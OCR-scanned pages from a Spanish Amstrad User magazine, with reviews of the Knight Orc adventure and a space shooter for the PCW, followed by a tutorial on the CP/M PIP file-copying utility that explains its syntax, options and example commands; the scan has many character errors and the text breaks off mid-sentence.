ESPANA: M. C. M. 

LO MEJOR:- 

LO PEOR: No incluye 
la beca para estudiar in 
gles en Oxford. 
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KNIGHT 

ORC 

SEGUNDA OPINION 


K night Ore es un 
juego de aven- 
turas en modo 

dialogo. 

«Era un dfa diferente al 
de un ano antes o treinta 
anos antes, cuando las 
llanuras habian sido des- 
pojadas y el dfa y la no- 
che eran como uno; cuan¬ 
do todo lo bueno y brillan- 
te habia sido barrido por 
las fuerzas de la oscuri- 
dad». asf es como empie- 
za la primera de las tres 
partes en que esta dividi 
do, narrandonos como 
fue la gran destruction. 
c6mo los ejercitos de 
Orce, con su caballerfa, 
lucharon contra el salvaje 
hombre del este, que es- 
taba en el oeste, la mujer 
salvajel del oeste, que es- 
taba hacia el este, ogros, 
worlocks. brujas y trolls 
que se encontraban en el 
centra. 

Nosotros en el juego 
somos Grok, que son 
unos seres llamados arc- 
kid y que se dedican a ir 
matando todo lo que se 
mueve, incluso a sus se- 
mejantes si se interponen 
en su camino, y debemos 


de luchar contra los ore 
para que retornen a sus 
lugares de origen, ya que 
fueron los unicos que 
despues de la gran lucha 
no retomaron. En esta 
primera parte deberemos 
aprender el sistema de la 
aventura y atar las cuer- 
das que nos van dando 
para hacer una sola cuer- 
da que nos va a permitir 
cruzar el gran abismo. 

Los puntos en esta 
parte se nos daran 
dependiendo de la longi- 
tud de la cuerda que 


hayamos construido. 

En la segunda parte 
nosotros estamos en el 
reino de la magia y debe¬ 
mos proteger el tesoro de 
los ore, que ha sido cui- 
dado y pulido durante mu- 
chisimos anos; junto a no¬ 
sotros esta un dragdn que 
es capaz de oler a un ore 
a bastante distancia y, 
aunque a nuestro perso- 
naje en la historia no le 
gusta la magia, en el jue¬ 
go, y en concreto en esta 
y en la siguiente parte, 
deberemos de utilizarla, 


para ello tenemos que ir 
buscando hechizos por el 
reino e irlos aprendiendo 
para utilizarlos despues, 
mientras que a la vez de¬ 
beremos ir reclutando a 
seguidores para escapar 
del reino, ya que ellos tie- 
nen poderes que noso¬ 
tros deberemos duplicar 
para despues poder re¬ 
solver el escenario del 
juego. 

En la tercera y ultima 
parte deberemos de ga- 
nar en la gran guerra de 
los campeones y echar 
de una vez por todas a los 
ores; la forma de conse- 
guir puntos es como en la 
anterior parte, es deeir, 
utilizando y aprendiendo 
los hechizos que nos va- 
mos encontrando. 

Los gr&ficos no son 
muy buenos, a la vez que 
escasos, ya que al ser un 
juego en modo dialogo no 
existen muchos dibujos. 
Tiene una gran dificultad 
el entendimiento del jue¬ 
go, debido a que esta he- 
cho en ingles, tanto el jue^ 
go como el manual, utili¬ 
zando un ingles litera- 
rio.—F. R. M. 
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GUERRA 
EN LAS 
GALAXIAS 


Es indudable que «La guerra de las galaxias» ha marcado toda 
una epoca. Ya en su dia aparecieron distintas «maquinitas» que 
recreaban las luchas entre las tropas del imperio y las fuerzas 
rebeldes. Ahora le toca el turno a nuestro PCW. 



D E la mano de 
Rainbird nos lle- 
ga esta excelen- 
te version de 
uno de ios juegos con 
mds «valor anadido» en 
toda la historia de Ios vi- 
deojuegos. Pues se trata 
de una nueva aparicidn 
de Ios clcisicos de “Star 
Wars», aunque en ningun 
momento se cite para 
nada a la trilogi'a filmica o 
a alguno de Ios elemen- 
tos (personajes. historia, 
objetivos, etcetera) que la 
componen. Sin embargo, 
es evidente que esta di- 
rectamente inspirado en 
la creacion con que Geor¬ 
ge Lucas sorprendid al 
mundo entero no hace 
tanto. 
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Esta figura es una especie de robot que anda sobre dos piernas, y su imagen en movimiento resulta realmente 
espectacular. 


Pero pasando al juego 
propiamente dicho, seha- 
lar en primer lugar que es 
asombroso con que fide- 
lidad se mantienen los 
detalles que caracterizan 
a este juego en otras ma- 
quinas. Se trata en reali¬ 
dad de una version iden- 
tica pero en verde y sin el 
despliegue sonoro que, 
por ejemplo. encontra- 
mos en ia version para 
PC. Sin duda, una nueva 
demostracion de que 
cuando ios juegos para 
PCW son de baja calidad 
no es toda la culpa de la 
mdquina. 

Otro tema es el objeti- 
vo del juego, ^cual es 
nuestra mision? En reali¬ 
dad la cosa no esta de- 
masiado Clara: sin embar¬ 
go, es evidente que debe- 
mos salvar a todo ser de 
bien de una grave ame- 
naza: hay que rechazar a 
las fuerzas del mal y con- 
seguir que el equilibrio y 
la paz estelar vuelvan a 
reinar en todas las cons- 


telaciones. Ya se ve que 
los motivos que nos im- 
pulsan son de lo mas al 
truista. Pero, a I fin y a I 
cabo todo se resume en 
lo de siempre: «mata mu- 
cho enemigo antes de 
que acaben contigo». 


Ademas de controlar 
con el tedado se 
puede hacer con dos 
tipos de joystick y 
dos de rat6n. 


La presentacidn del 
juego esta cuidada al 
maximo. Dentro de una 
caja con atrayentes ilus- 
traciones encontramos el 
disco de programa, una 
novela (en ingles comple- 
tamente, pero de gran uti 
lidad), un poster con un 
dibujo de la nave y la des- 
cripcion de sus principa¬ 


ls elementos, un folleto 
de instrucciones para ju- 
gar y, por ultimo (sin duda 
b mas prac Vco \ u na car- 
tulina con todos los eon- 
troles y la definicion exac- 
ta para el PCW. 

Decimos que la novela 
es de gran utilidad, pues 
ademas de dar algunas 
pistas sobre cual es la 
verdadera mision del jue¬ 
go, es necesario tenerla a 
mano para poder jugar. 
Si, efectivamente, sin la 
novela es imposible jugar, 
pues la primera accion 
del programa es hacer 
una pregunta como esta: 
^Cual es la sexta palabra 
de la tercera linea del ul¬ 
timo parrafo de la pagina 
treinta y cuatro? 

Desde luego es una cu- 
riosa proteccion contra 
eopia, aunque si somos 
realistas no le vemos las 
verdaderas ventajas a 
este sistema. Cierto es 
que aquel «pirata» que 
tenga solo la copia del 
programa no le slrve de 


nada. Pero si realmente 
le interesa el juego y tie- 
ne la malsana intencion 
de no comprarlo copiarb 
el disco, con lo que ya se 
convierte (legalmente ha 
blando) en un ladron y fo- 
tocopiara la novela (doble 
delito, por tanto doble 
sancidn). 

Siguiendo con el juego, 
es muy interesante seha- 
lar que ademas de con¬ 
trolar los movimientos de 
la nave desde el teclado 
se puede hacer con dos 
tipos de joystick y dos ti¬ 
pos de ratbri. Los joys¬ 
ticks son el veterano Joy- 
ce-Stick de Cascade para 
PCW y el prestigioso 
Kempston Stick. En cuan- 
to a los ratones, el progra¬ 
ma tambien admite el ra- 
ton de esta ultima casa 
(esto es, el Kempston 
Mouse), y adembs, el 
Amx Mouse, que fue 
practicamente el primer 
ratbn que aparecid para 
las maquinas Amstrad 
(en su dia la familia CPC) 
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PCW 



Los pajaros son otra figura en movimiento, y ademas muy daninos. 


y sin duaa uno de los pri- 
meros para PCW. De to- 
das formas, y aunque se 
utilice uno de estos rato- 
nes, o uno de estos joys¬ 
ticks, algunas funciones 
siguen siendo controla- 
das desde el propio te- 
clado. 

Una vez puestos a ju- 
gar se descubre la agra- 
dable sorpresa de que el 
juego no es tan simple 
como parece en principio. 
Existen diferentes tipos 
de enemiqos. cada uno 
de ellos con sus propias 
caracteristicas y peculiari- 
dades. La nave que pilo- 
tamos es producto de la 
tecnologia mas puntera y, 
por tanto, lleva de todo 
(escaner, campo de ener- 
gia que nos protege de 
los impactos —nunca ha 
de estar por debajo del 10 
por 100—, laser, informa- 
cion sobre el sector que 
sobrevolamos en ese mo- 
mento, misiles especiali- 
zados, etcetera). Como 
es logico, todo esto gene¬ 


ra una informacion, infor- 
macion que es visualize 
da constantemente junto 
con otros dates en los dis- 
tintos paneles que apare- 
cen en la parte inferior de 
la pantalla, Ademas, es 
posible mover el punto de 
mira y la nave, o solo la 
nave. 


La nave que 
pilotamos es 
producto de la 
tecnologia mas 
avanzada. 


La respuesta al teclado 
es realmente buena, 
coordinada y a tiempo, 
aunque si estamos en 
plena accion y carnbia- 
mos bruscamente de di- 
reccion es facil que se 
note un cierto retraso en 
la respuesta. De todas 
formas, esto se debe mas 
bien a la violencia del 


cambio que al propio pro- 
grama. Por otra parte, 
esta redaccion tuvo oca- 
sion de probar el Kemps- 
ton Mouse y funciono sin 
ningun problems, aunque 
si es cierto que se produ¬ 
ce una pequeha «esqui- 
zofrenia» y cuesta al prin¬ 
cipio coordinar correcta- 
mente los movimientos. 
Cualquiera que sea el dis¬ 
positive de control, el 
scroll (tanto vertical, 
como horizontal o diago¬ 
nal) se mantiene con una 
suavidad y continuidad 
muy poco vistas. 

Un detalle criticable es 
que la documentacion, 
ademas de estar comple- 
tamente en ingles, tiene 
en general un tono dema 
siado futurista. Asi, se ha 
cen continuamente refe¬ 
rences a siglas extranas, 
objetos, tipos de arma 
mento, etcetera; lo unico 
que consiguen con ello es 
volver medio loco a todo 
aque! que intente encon- 
trar alguna logica o razon 


de ser. La fantasia y el 
hacer las cosas con ima- 
ainacion es siempre un 
detalle que se agradece. 
pero si el resultado es liar 
las cosas y no dejar de- 
masiado claro nada, casi 
mejor es ir adivinandolo 
solo. 

En fin, es un juego muy 
recomendabie para todos 
aquellos que le gusten los 
juegos de accion. Quiza a 
alguno le resulte pesado, 
porque. al fin y al cabo, es 
una idea muy vista ya. 
pero es la primera vez 
que aparece para PCW. 


LO ME- 

J O R I Estan 
cuidados todo 
los detaides. 

LO PEOR: 

T antes corstreles 
pueden «descon- 
trolar>> a mas de 
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PIP es un programa que se suministra 
con el CP/M y que presenta unas 
inmensas posibilidades, aunque resulta 
muy desconocido por los usuarios 


P IP es una utilidad transitoria 
que copia uno o mas fiche- 
ros de un disco y/o area de 
usario a otro. PIP puede camblar el 
nombre de un fichero despues de 
copiarlo y combinar dos o mas fi- 
cheros en uno solo. PIP tambidn 
puede copiar un fichero de texto 
desde un disco a la impresora o 
cualquier otro dispositivo Idgico de 


salida auxiliar. PIP permite crear un 
fichero en disco a partir de la intro- 
duccion por la consola (el teclado) 
o cualquier otro disposit'ivo log'ico 
de entrada. PIP puede transferir da- 
tos desde un dispositivo Idgico de 
entrada a un dispositivo Idgico de 
salida, de ahi su nombre (PIP es 
abreviatura de Peripheral Inter¬ 
change Program = Programa de 


Intercambio entre Perifericos). 

PIP copia los atributos de un fi¬ 
chero a la vez que el propio fiche¬ 
ro. E sto incluye los atributos de lec- 
tura/escritura o sdlo lectura y los 
atributos DIR o SYS, y los atributos 
definibles por el usuario FI a F4. Si 
un fichero esta protegido mediante 
clave de acceso (password), se 
debe introducirdicha dave en I a f i¬ 
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nea de comandos a continuacion 
del nombre y/o el tipo del fichero al 
que pertenece. Si la clave no es 
correcta, el fichero se ignora y se 
notifica al usuario el error. 

Si se especifica un fichero de 
destino sin clave de acceso, PIP no 
asigna clave alguna al fichero de 
destino. Si solo se especifica la uni- 
dad de disco de destino, sin nom¬ 
bre alguno, PIP asigna automatica- 
mente' el mismo nombre, clave de 
acceso y modo de protecciOn al fi 
chero destino que el especificado 
en el fichero fuente. Si se especifi¬ 
ca un fichero de destino con clave 
de acceso, PIP asigna dicha clave 
al fichero de destino y automAtica- 
mente fija la protecciOn de la clave 
en el modo READ (ProtecciOn de 
lectura y escritura). 

Copiando un solo 
fichero 

La sintaxis a utilizar con PIP para 
copiar un solo fichero puede ser 
una de Astas: 

PIP d:{[Gn]} =fichero-fuen- 
te{[opclones]} 

PIP fichero-destino 
{[Gn]}=d:{[o pciones]} 

PIP fichero-destino{[Gn]}=fiche- 
ro-fuente{[opciones]} 

La primera forma muestra el 
modo mAs sencillo de copiar un fi¬ 
chero. PIP busca el fichero cuyo 
nombre coincida con fichero-fuente 
en el disco por defecto o en el que 
se especifique opcionalmente, co- 
piandolo al disco especificado por 
d: y dandole el nombre indicado por 
fichero-fuente. Si se desea, se pue¬ 
de usar la opciOn [Gn] para situar 
el fichero destino en el Area de 
usuario especificada por n. La uni- 
ca opcibn que puede acompanar al 
fichero-destino es [Gn], Al fichero- 
fuente le pueden acompanar varias 
opciones. 

La segunda forma es una varian- 
te de la primera. PIP busca el fiche¬ 
ro cuyo nombre coincida con fiche¬ 
ro-destino en el disco especificado 
por d:, lo copia al disco por defecto 
o al indicado opcionalmente y le da 
el nombre de fichero-destino. 

La tercera forma muestra como 
cambiar el nombre de un fichero 
despuAs de eopiarlo. Se puede co¬ 
piar al mismo disco y area de usua¬ 
rio o a una unidad de disco y/o Area 
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de usuario distinta. Las reglas para 
las opciones son las mismas. PIP 
busca el fichero cuyo nombre coin¬ 
cide con fichero-fuente, lo copia al 
disco por defecto o al indicado op¬ 
cionalmente junto a fichero-destino 
y le da el nombre indicado por 
fichero-destino. 

Recuerdese que PIP siempre 
toma los ficheros de y los copia a 
el Area de usuario por defecto, sal¬ 
vo que se especifique un Area de 
usuario concreta con la opcion 
[Gn], 

Antes de ejecutar PIP es conve- 
niente asegurarse de que hay bas- 
tante espacio libre en kilobytes en 
el disco destino para contener todo 
el fichero o ffcheros que se estAn 
copiando. Incliiso si se esta sustitu- 
yendo una cofJia antigua en el dis¬ 
co de destino por una copia nueva. 
Aun asi, PIP necesita espacio bas- 
tante para la copia nueva antes de 
borrar la vieja. Utilice el comando 


Si se especifica un 
fichero de destino 
sin clave de 
acceso, PIP no 
asigna clave 
alguna al fichero 
de destino. 


DIR con la opcion [SIZE] para de- 
terminar el tamario de los ficheros 
y el comando SHOW para determi- 
■ nar el espacio libre en el disco. Si 
no hay espacio suficiente en el dis¬ 
co se puede borrar la copia vieja 
primero utilizando el comando 
ERASE. 

Los datos se copian primero a un 
fichero temporal para asegurarse 
de que es posible construir el fiche¬ 
ro complete en el espacio disponi- 
ble en el disco. PIP da al fichero 
temporal el mismo nombre que el 
especificado para el fichero de des- 
tino. con la extensiAn ".$$$". Si el 
proceso de copia concluye con exi- 
to, PIP cambia el tipo temporal 
"$$$" por el especificado en el nom 
. bre del fichero de destino. 

Si la copia se completa con exito 
y existe en el disco de destino un fi¬ 


chero con el mismo nombre y tipo 
PIP borra Aste fichero antes de 
cambiar de nombre al fichero tem¬ 
poral. Los atributos de los ficheros 
(DIR, SYS, RO, RW) se transfieren 
junto con los propios ficheros. 

Si el fichero de destino existente 
tiene activado el atributo de solo 
lectura (RO), PIP pregunta si se 
quiere borrarlo, a lo que se debe 
responder con Y (SI) o N (NO). Uti- 
licese la opcion [W] para sobrees- 
cribir automAticamente los ficheros 
de s6lo lectura. 

Es posible incluir las opciones de 
PIP detras de cada nombre de fi 
chero fuente. Solo hay una opciOn 
vAlida ([Gn]) copiar al area de 
usuario n) para el fichero de desti 
no. Las opciones han de ir entre 
corchetes cuadratos. Se puede in¬ 
cluir mas de una opcion para los fi¬ 
cheros fuente, que pueden estar 
escritas juntas o separadas por es- 
pacios. Las opciones permiten ve 
rificar que los ficheros han sido co- 
piados correctamente, permitir a 
PIP leer un fichero con atributo de 
sistema (SYS), forzar a PIP a so- 
breescribir ficheros de solo lectura 
(RO), indicar a PIP que tome el fi¬ 
chero de un cierto area de usuario 
o lo portga en cierta area de usua¬ 
rio, transferir el contenido de un fi¬ 
chero de texto de minusculas a ma- 
yusculas o viceversa segun se co¬ 
pia, y muchos mAs. 

Ejemplos 

A>PIP B:=A:viejo.dat 
A>PIP B:viejo.dat=A: 

Ambas formas de este comando 
hacen que PIP lea el fichero ; 'vie- 
jo.dat" del disco A y lo copie al dis¬ 
co B, dandole el mismo nombre. 
Esto se denomina la forma coria de 
PIP, ya que el origen o el destino 
nombra solo una unidad de disco y 
no inciuye un nombre para el fiche¬ 
ro. Cuando se utiliza esta forma no 
se puede copiar un fichero de un 
disco y numero de usuario al mis¬ 
mo disco y misma area de usuario, 
ya que en CP/M no puede haber 
dos ficheros con el mismo nombre 
en el mismo disco y area de usua¬ 
rio. Es necesario situar el fichero de 
destino en un disco diferente o un 
Area de usuario diferente (ver las 
opciones de PIP mas adelante). La 
segunda forma corta produce exac- 
tamente el mismo resultado que la 
primera. PIP busca el fichero "vie- 
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jo.dat" en la unidad A, la especifi- 
cada como fuente. 

A>PIP B:nuevo.dat=A:viejo.dat 

Este comando copia el fichero 
"viejo.dat" desde el disco A al B y 
le cambia el nombre a "nuevo.dat". 
En el disco A el fichero sigue lla- 
mAndose "viejo.dat". Esta es la for¬ 
ma larga de PIP, porque incluye 
nombres de fichero en ambos lados 
de la linea de comandos. 

A>PIP nuevo.dat=viejo.dat 

Usando esta forma larga de PIP 
es posible copiar un fichero de un 
disco y area de usuario al mismo 
disco y area de usuario. Esto pro 
porciona dos copias del mismo fi¬ 
chero en el mismo disco y Area de 
usuario, cada una con un nombre 
diferente ("nuevo.dat" y "viejo.dat"). 

A>PIP BrPROGRAM.BAK- 
=A:PROGRAM.BAS[G1] 

Este comando copia el fichero 
"PROGRAM.BAS" desde el area de 
usuario 1 del disco A al Area de 
usuario por defecto del disco B y le 
cambia la extension en el disco B a 
".BAK". 

B>PIP program2.bas = A:pro- 
graml.basfE V G3] 

En este ejemplo, PIP copia el fi¬ 
chero llamado "programl.bas" del 
disco A, area de usuario 3 ([G3]), y 
lo muestra en pantalla ([E]=Eco) 
mientras copia y verifies ([V]) que 
las dos copias son identicas. Dado 
que no se especifica disco de des 
tino, PIP automAticamente envia la 
copia al disco y Area de usuario por 
defecto, en este caso el Area 0 y el 
disco B. 

Copiando varios 
ficheros 

Cuando se utiliza un comodin 
f*" o "•*") en la especificacion del fi¬ 
chero fuente, PIP copia uno a uno 
todos los ficheros que encajen con 
dicha especificacidn al disco de 
destine, manteniendo el nombre 
original de cada fichero. PIP mues- 
tra el mensaje COPYING (CO¬ 
PIANDO) seguido por cada nombre 
de fichero segun se efectua la co 
pia. PIP suministra un mensaje de 
error y abandona la operaiedn de 
copia si el disco y usuario de des- 


OPCIONES DE PIP 

Opcidn Funcion 


A Copia solo los ficheros que han sido modificados 

desde la ultima copia. Para realizar copias de se- 
guridad unicamente de los ficheros que han sido 
modificados desde la ultima copia de seguridad uti- 
lice PIP con la opcidn de archivo. [A], 

C Pide confirmacidn antes de realizar cada operacion 

de copia. Use la opcidn [C] cuando quiera copiar 
solo algunos ficheros de un tipo particular de ex- 
tensidn. 

Dn Borra los caracteres situados mas alia de la colum¬ 

ns n. Este parametro se suele usar tras un fichero 
fuente que contiene lineas demasiado largas para 
ser manejadas por el dispositivo destino, por ejem¬ 
plo, una impresora de 80 caracteres. El numero n 
debe ser el ancho mAximo en columnas del dispo¬ 
sitivo destino. 

E Transferencia con Eco en la consola. Cuando este 

parAmetro va detras del nombre de un fichero fuen¬ 
te, PIP muestra los datos del fichero fuente en la 
pantalla segun los copia. El fichero fuente debe ser 
de caracteres. 

F Pilira los caracteres FF (Avance de pagina). Cuan¬ 

do esta opcidn sigue a I nombre del fichero fuente, 
PIP elimina de la copia todos los caracteres de 
avance de pAgina incluidos entre los datos del fi 
chero fuente. Para cambiar los avances de pAgina 
fijados en una cierta longitud a otra longitud de pA- 
gina en el fichero destino utilicese la opcidn F para 
eliminar los antiguos FF y la opcidn P para ahadir 
simuitAneamente nuevos FF en el fichero de des¬ 
tino. 

Gn Toma el fichero fuente del area de usuario n o deja 
el fichero destino en el Area de usuario n. Cuando 
esta opcidn sigue al nombre del fichero fuente, PIP 
busca en el directorio del Area de usuario n para lo- 
calizar el fichero fuente. Cuando sigue al nombre 
del fichero de destino, PIP situa el fichero de desti¬ 
no en el Area de usuario indicado por n. El nume 
ro n debe estar en el margen de 0 a 15. 

H Transferencia de datos en formato HEX. PIP verifi- 

ca todos los datos para comprobar que estan en for¬ 
mato Intel hexadecimal correcto. Si se encuentra al 
gun error, la consola muestra un mensaje de error. 

I Ignora los registro ":00" en la transferencia de fiche¬ 

ros en formato Intel hexadecimal. La opcidn I activa 
automAticamente a la opcidn H. 

L Convierte las letras mayusculas del fichero fuente 

en letras minusculas en el fichero destino. Este pa 
rAmetro sigue al nombre del fichero o dispositivo 
fuente. 

N Afiade numeros de linea al fichero de destino. 

Cuando esta opcion sigue al nombre del fichero 
fuente, PIP ahade un numero de linea a cada linea 
copiada, comenzando por 1 e incrementAndolo en 
1. El numero de linea va seguido del simbolo y 
un espacio. Si se especifica la opcidn como [N2], 
PIP ahade los ceros precedentes al numero de li¬ 
nea hasta completar seis digitos, suprime el simbo¬ 
lo e inserta una tabulacion tras el numero. Si ade- 
mAs se utiliza la opcidn T, PIP expande la ta- 
bulacion. 

0 Transferencia de ficheros objeto para ficheros de 

eddigo maquina (no-caracteres y por tanto no im- 
primible). PIP ignora cualquier CTRL-Z (fin de fiche- 
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tino son los mismos que los espe- 
cificados en la fuente. 

Ejempios 

A>PIP B:=A:*.COM 

Este comando hace que PIP co¬ 
pie todos los ficheros del disco A 
con la extension ".COM" al disco B. 

A>PIP B:=A:V 

Este comando hace que PIP co¬ 
pie todos los ficheros del disco A en 
el disco B. Se puede utilizar este 
comando para realizar copias de 
seguridad de los discos de sistema. 
Sin embargo, este comando no co- 
pia las pistas reservadas de sis¬ 
tema. 

A>PIP B:=A:PRQG????.* 

Este comando copia todos los fi¬ 
cheros cuyos nombres empiecen 
con PROG desde el disco A al B. 

A>PIP B:[G1]=A:*.BAS 

Este comando hace que PIP co¬ 
pie todos los ficheros con extension 
".BAS" del disco A en el area de 
usuario por defecto (USER 0) al 
disco B en el area de usuario 1. Re- 
cuerdese que DIR, TYPE, ERASE 
y otros comandos solo acceden a 
los ficheros en el mismo area de 
usuario desde el que se les invocb, 

Combinando fiche¬ 
ros 

Esta forma de PIP permite espe- 
cificar dos o mas ficheros en la 
fuente. PIP copia los ficheros espe- 
cificados en la fuente de izquierda 
a derecha y los combina en un solo 
fichero con el nombre indicado por 
la especificacion de fichero de des- 
tino. Este procedimiento se conoce 
como concadenacion de ficheros. 
Se puede usar la opcion [Gn] tras 
el nombre del fichero de destino 
para colocarlo en el area de usua- 
rio especificado por n. Se pueden 
incluir una o mas opciones para 
cada fichero fuente. 

Algunas de las opciones de PIP 
fuerzan la copia de los ficheros ca¬ 
racter a caracter. En estos casos, 
PIP busca un cardcter CTRL-Z para 
determinar donde se encuentra el 
final del fichero, Todas las opciones 
de PIP fuerzan la transferencia ca- 
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racter a caracter excepto A, C, Gn, 
K, O R, V y W. 

La copia de o hacia dispositivos 
iogicos tambien fuerza la copia ca¬ 
racter a caracter. 

Es posible detener las operacio- 
nes de PIP pulsando CTRL-C. 
Cuando se combinan ficheros, PIP 
solo busca en el ultimo registro de 
un fichero el caracter de fin de fi¬ 
chero CTRL-Z. Sin embargo, si PIP 
esta efectuando una transferencia 
caracter a caracter, se detiene 
cuando encuentra un caracter 
CTRL-Z. 

Utilice la opcibn [O] si est& com 
binando ficheros que contienen co- 
digo maquina. La opcion [O] hace 
que PIP ignore los caracteres 
CTRL-Z (fin de fichero) incluidos en 
el fichero, los cuales indican el final 
de un fichero de texto, pero pueden 
ser datos validos en ficheros de c6- 
digo objeto 

Ejempios 

A<PIP FICHER0=FICHER01,FI- 
CHER02.FICHER03 

Los tres ficheros, llamados Fl- 
CHEROI FICHER02 y FICHE¬ 
ROS, se juntan comenzando por el 
m6s a la izquierda y se copian a "FI¬ 
CHERO, $$$', "FICHERO ,$$$' se 
renombra a "FICHERO" una vez 
que se completa con exito la ope- 
racion de copia. Tanto los ficheros 
fuente como el fichero destino se 
encuentran en el disco por defecto 
(el A). 

A<PIP B:X.BAS- Y,BAS,B:Z.BAS 

El fichero Y.BAS en el disco A se 
une con Z.BAS en el disco B y se 
situa en el fichero temporal "X.$$$" 
en el disco B. El fichero ”X,$$$' se 
renombra a "X.BAS" en el disco B 


cuando se completa la copia con 
exito. 

Coplands ficheros desde y hacia 
dispositivos auxiliares 

Esta forma es un caso especial 
del comando PIP que permite co- 
piar un fichero de un disco a un dis- 
positivo, de un dispositivo a un dis¬ 
co y de un dispositivo a otro dispo¬ 
sitivo. Los ficheros deben contener 
caracteres imprimibles. Cada dis¬ 
positivo periferico se asigna a un 
dispositivo Idgico que identif ies a un 
dispositivo fuente que pueda trans- 
mitir datos o a un dispositivo desti¬ 
no que pueda recibir datos. El sim- 
bolodos puntos"" sigue al nombre 
de todo dispositivo logico, de modo 
que no pueda ser confundido con 
un nombre de fichero. Pulse 
CTRL-C para detener una opera- 
ci6n de copia que use un dispositi¬ 
vo logico en el destino o la fuente. 

Las posibilidades son las que 
muestra la tabla 1. Los significados 
de los dispositivos son estos: 

CON: Dispositivo de entrada o 
salida por consola. Cuando se utili- 
za como fuente es normalmente el 
teclado; cuando se usa como des¬ 
tino, normalmente es la pantalla. 

AUX: Dispositivo de entrada y 
salida auxiliar (generalmente se 
asigna a AUX el interface serie 
B.S232). 

LST: El dispositivo destino asig- 
nado al dispositivo de salida de lis- 
tados, generalmente la impresora 
(si se utiliza un interface serie 
RS232 para una impresora serie, el 
interface se asignarla a LST:). 

Los tres dispositivos siguientes 
tienen un significado especial: 

NUL: Un dispositivo fuente que 
produce 40 ceros hexadecimales. 

EOF: Un dispositivo fuente que 
produce un unico caracter CTRL-Z, 


COPIA ENTRE DISPOSITIVOS 

PIP dost in 

oCCSn33=fuente£CO]3 

AUX; 

AUX; i [033 

COM; 

COM;(COD) 

PRN: 

NUL; 

LST; 

EOF ; 
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la marca de fin de fichero utilizada 
por el CP/M. 

PRN: El dispositivo de impresora 
con expansion de tabulaciones a 
cada ocho columnas, numeros de 
linea y salto de pagina cada sesen- 
ta lineas. 

Ejemplos 

B> PIP PRN: = CON:,MISDA- 
TOS.DAT 

En primer lugar, se leen caracte- 
res del dispositivo de entrada por 
consola, generalmente el teclado, 
que se envian directamente ai dis¬ 
positivo de impresion. Una vez que 
se teclea CTRL-Z para informar a 
PIP que se ha terminado la intro- 
duccidn por consola, PIP eontinua 
leyendo caracteres del fichero 
"MISDATOS.DAT" en el disco B. 
Como el dispositivo de destino es 
PRN:, se expanden las tabulacio¬ 
nes, se anaden numeros de linea y 
se genera un salto de pagina cada 
60 lineas. 

Ndtese que cuando el dispositivo 
fuente es CON:, hay que introducir 
el retorno de carro (RETURN) y el 
avance de linea (CTRL-J) para es- 
cribir una nueva linea. 

A>PIP B:CARTA=CON: 

Cualquier cosa que tecleemos en 
la consola se envla al fichero CAR¬ 
TA en el disco B. Para terminar la 
entrada de datos por teclado hay 
que pulsar CTRL-Z. 

A>PIP LST:=CON: 

Cualquier cosa que se teclee en 
el teclado de la consola se escribe 
directamente en el dispositivo de 
listados, generalmente la impreso¬ 
ra. Se termina la introduccidn de 
datos pulsando CTRL-Z. 

A>PIP LST:=B:TEXTO.TXT[T8] 

El fichero TEXTO.TXT del dis¬ 
co B se envia al dispositivo de im¬ 
presion. Todo car&cter de tabula- 
ci6n se expande a la columns m^s 
cercana que sea miiltiplo de 8. 

A>PIP PRN: = B:TEXTO.TXT 

Este comando hace que PIP es- 
criba el fichero'TEXTO.TXT" al dis¬ 
positivo de listados. Automatica- 
mente expande las tabulaciones, 
ahade numeros de linea y genera 


Opcidn 

Fundon 

Pn 

ro) durante los procesos de concadenacion y copia. 
Utilice esta opcidn si esta concadenando ficheros 
de codigo objeto. 

Fija la longitud de pagina y n especifica el nurnero 

Qs 

de lineas por pagina. Cuando esta opcidn sigue al 
nombre de un fichero fuente, PIP incluye un salto 
de pdgina al connenzo del fichero de destino y cada 
n lineas. Si n=1 o no se especifica, PIP inserts los 
saltos de pagina cada sesenta lineas. Cuando tam- 
bidn se especifica la opcion F, PIP ignora los avan- 
ces de pagina que hubiera en el fichero fuente e in¬ 
serts los nuevos en el fichero destino en la longitud 
de pagina especificada por n. 

Deja de copiar del fichero o dispositivo fuente tras 

R 

encontrar la cadena s. Cuando se usa junto con la 
opcion S, este parametro puede extraer una por- 
cion de un fichero fuente. La cadena que sigue a Q 
debe terminar con CTRL-Z 

Lee los ficheros de sistema (SYS). Normaimente, 

Ss 

PIP ignora los ficheros marcados con el atributo de 
sistema en el directorio del disco. Pero cuando esta 
opcidn sigue al nombre de un fichero fuente, PIP co¬ 
pia los ficheros de sistema, incluidos sus atributos, 
al destino. 

Comienza la copia desde el fichero o dispositivo 

Tn 

fuente cuando encuentra la cadena s. La cadena 
que sirve de argumento a esta opcion debe termi¬ 
nar con el car&cter CTRL-Z. Cuando se usa junto 
con la opci6n Q, este pardmetro puede extraer una 
porcion de texto del fichero fuente. Tanto la cadena 
de comienzo como la de final quedan incluidas en 
el fichero destino. 

Expande las tabulaciones. Cuando esta opcion si- 

U 

gue al nombre de un fichero fuente, PIP expande 
las tabulaciones (car&cter CTRL-1) en el fichero de 
destino. PIP sustituye cada car&cter CTRL-1 con los 
espacios suficientes para situar el siguiente car&c- 
ter en una columna divisible por n. 

Convierte los caracteres en minusculas del fichero 

V 

fuente en mayusculas en el fichero destino. Esta op- 
cidn sigue al nombre del fichero o dispositivo fuente. 
Verifica que los datos han sido copiados corrects- 

W 

mente, PIP compara el fichero destino recien copia- 
do con el fichero fuente para asegurarse que los da¬ 
tos han sido escritos correctamente. El destino debe 
ser obligatoriamente un fichero en disco; no puede 
ser un dispositivo. 

Escribe sobre los ficheros marcados con el atributo 

Z 

RO (solo lectura). Normaimente, si en la linea de co- 
mandos de PIP se incluye el nombre de un fichero 
destino que ya existe y esta marcado como RO, PIP 
emite un mensaje en la consola para asegurarse de 
que se quiere escribir sobre el fichero ya existente. 
Cuando esta opcion sigue al nombre de un fichero 
fuente, PIP sobreescribe el fichero marcado como 

RO sin pedir confirmacidn. Si la linea de comandos 
contiene varios ficheros fuentes, basta con que esta 
opcion siga al nombre del ultimo fichero de la lista. 

Pone a cero el bit de paridad (el bit 7). Cuando esta 


opcidn sigue al nombre de un fichero fuente, PIP 
fija el bit de paridad de cada byte en el fichero de 
destino a cero. El fichero fuente debe contener ca¬ 
racteres. Esta opcidn es util si se quieren usar fi¬ 
cheros de texto creados con Wordstar en otro pro 
cesador de textos, ya que Wordstar utiliza el bit 7 
para indicaciones propias, y con PIP y esta opcidn 
podemos convertir un fichero de texto de Wordstar 
eliminado estos indicadores. 


116/ Amstrad User 















saltos de pagina cada sesenta li- 
neas. 

Modo de comandos 
multiples 

Esta forma de PIP carga el pro- 
